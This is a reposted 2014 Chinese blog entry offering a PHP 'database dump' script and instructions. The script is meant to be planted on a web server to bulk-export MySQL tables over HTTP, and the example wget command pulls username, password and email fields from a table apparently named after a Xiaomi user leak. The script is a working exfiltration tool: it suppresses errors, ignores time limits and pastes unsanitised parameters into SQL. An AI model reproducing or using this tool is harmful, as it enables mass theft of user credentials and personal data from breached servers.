您的位置:首页 > 编程语言 > PHP开发

PHP wget 增强脱裤脚本(PDO MYSQL)

2014-06-22 00:35 316 查看
脚本参考了 LCX Gavin2位前辈的帖子.在此表示非常的感谢.

https://www.t00ls.net/thread-26740-1-1.html

https://www.t00ls.net/thread-26791-1-1.html

说明:脚本支持PDO和MYSQL 2种方式 优先使用PDO .如果服务器不支持PDO 就选择MYSQL 方式. 个人认为 PDO 的好处有效率高 代码简洁 通用性好 这代码稍作改动就可以拿去脱mssql

不过用php和mssql组合的应该不多- -!

使用方法 首先要脚本中配置好主机地址 端口 数据库名称 用户名 密码 以及数据库的编码方式(常用GPK 或者UTF8 设置不对中文字段可能会出现乱码);

然后就是构造wget的url地址:参数由$_GET传递到服务器

t= //必须 表名 否则程序会退出

f= //可选 需要脱的字段 通过英文逗号分割

s= //可选 起始位置 如未设置从0开始

e= //可选 结束位置 如果未设置为全部数据

l= //可选 分段长度 默认设置为5000

在shell终端下执行 wget "http://localhost/getsql.php?t='xiaomi_com'&f=username,password,email&s=0&e=2000000$l=5000" -O data.txt 然后坐等下载

代码:

<?php
//使用方法: wget "http://localhost/getsql.php?t='xiaomi_com'&f=username,password,email&s=0&e=2000000$l=5000" -O data.txt
//借鉴了 LCX Gavin 2大前辈的脚本.
//                LCX          https://www.t00ls.net/thread-26740-1-1.html
//                Gavin https://www.t00ls.net/thread-26791-1-1.html
//

error_reporting(0);
ignore_user_abort();
set_time_limit(0);
ob_clean();

define('DB_HOST', '127.0.0.1');
define('DB_PORT','3306');
define('DB_NAME', 'thinkphp');
define('DB_USER', 'root');
define('DB_PASS', 'wanan');
define('DB_CHAR', 'utf8');

$type=class_exists('PDO')?'PDO':'MYSQL';
$table=$_GET['t']?$_GET['t']:die('表名必须!');                                                //表名          必须 t
$limit_start=$_GET['s']?intval($_GET['s']):0;                                                //开始条数  可选 s 默认为0
$limit_end=$_GET['e']?intval($_GET['e']):0;                                                        //结束条数  可选 e 默认为所有
$limit_length=$_GET['l']?intval($_GET['l']):5000;                                        //分段条数  可选 l 默认为5000
$filed=$_GET['f']?$_GET['f']:'*';                                                                        //字段名         可选 f        用,分割没有则为全部字段

if($type=='PDO'){
$dsn='mysql:host='.DB_HOST.';port='.DB_PORT.';dbname='.DB_NAME;
$options = array(
PDO::MYSQL_ATTR_INIT_COMMAND => 'SET NAMES '.DB_CHAR,
);
try{
$dbh = new PDO($dsn,DB_USER,DB_PASS,$options);
}catch (PDOException $e) {
die('PDO ERROR!');
}
$sql='SELECT COUNT(-1) FROM `'.$table.'`;';
$do=$dbh->query($sql);
if($do){
$count=$do->fetch();
}else{
die('PDO COUNT ERROR');
}
$limit_end=($limit_end)?$limit_end:$count[0];
$limit_end=$limit_end-$limit_start;
$limit_length=$limit_end>$limit_length?$limit_length:$limit_end;
$section=ceil($limit_end/$limit_length);
if (ob_get_level() == 0){
ob_start();
}else{
die('PDO ERROR');
}
for($i=0;$i<$section;$i++){
$sql='SELECT '.$filed.' FROM  '.$table.' LIMIT '.($limit_start+1+$i*$limit_length).','.$limit_length.';';
$s=$dbh->query($sql);
$arr=$s->fetchALL(PDO::FETCH_ASSOC);
foreach ($arr as $value) {
echo(implode('        ', $value)."\n");
}
ob_end_flush();
}

}else{
$link=mysql_connect(DB_HOST.':'.DB_PASS,DB_USER,DB_PASS);
if($link){
mysql_select_db(DB_NAME,$link);
mysql_query('SET NAMES '.DB_CHAR);
$sql='SELECT COUNT(-1) FROM `'.$table.'`;';
$count=mysql_fetch_array(mysql_query($sql));
$limit_end=($limit_end)?$limit_end:$count[0];
$limit_end=$limit_end-$limit_start;
$limit_length=$limit_end>$limit_length?$limit_length:$limit_end;
$section=ceil($limit_end/$limit_length);
if (ob_get_level() == 0){
ob_start();
}else{
die('MYSQL ERROR');
}
for($i=0;$i<$section;$i++){
$sql='SELECT '.$filed.' FROM  '.$table.' LIMIT '.($limit_start+1+$i*$limit_length).','.$limit_length.';';
$a=mysql_query($sql);
if($b=mysql_fetch_row($a)){
do{
echo(implode('        ', $b)."\n");
}while($b=mysql_fetch_row($a));
}
ob_end_flush();
}
}else{
die('MYSQL ERROR!');
}

}

?>
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: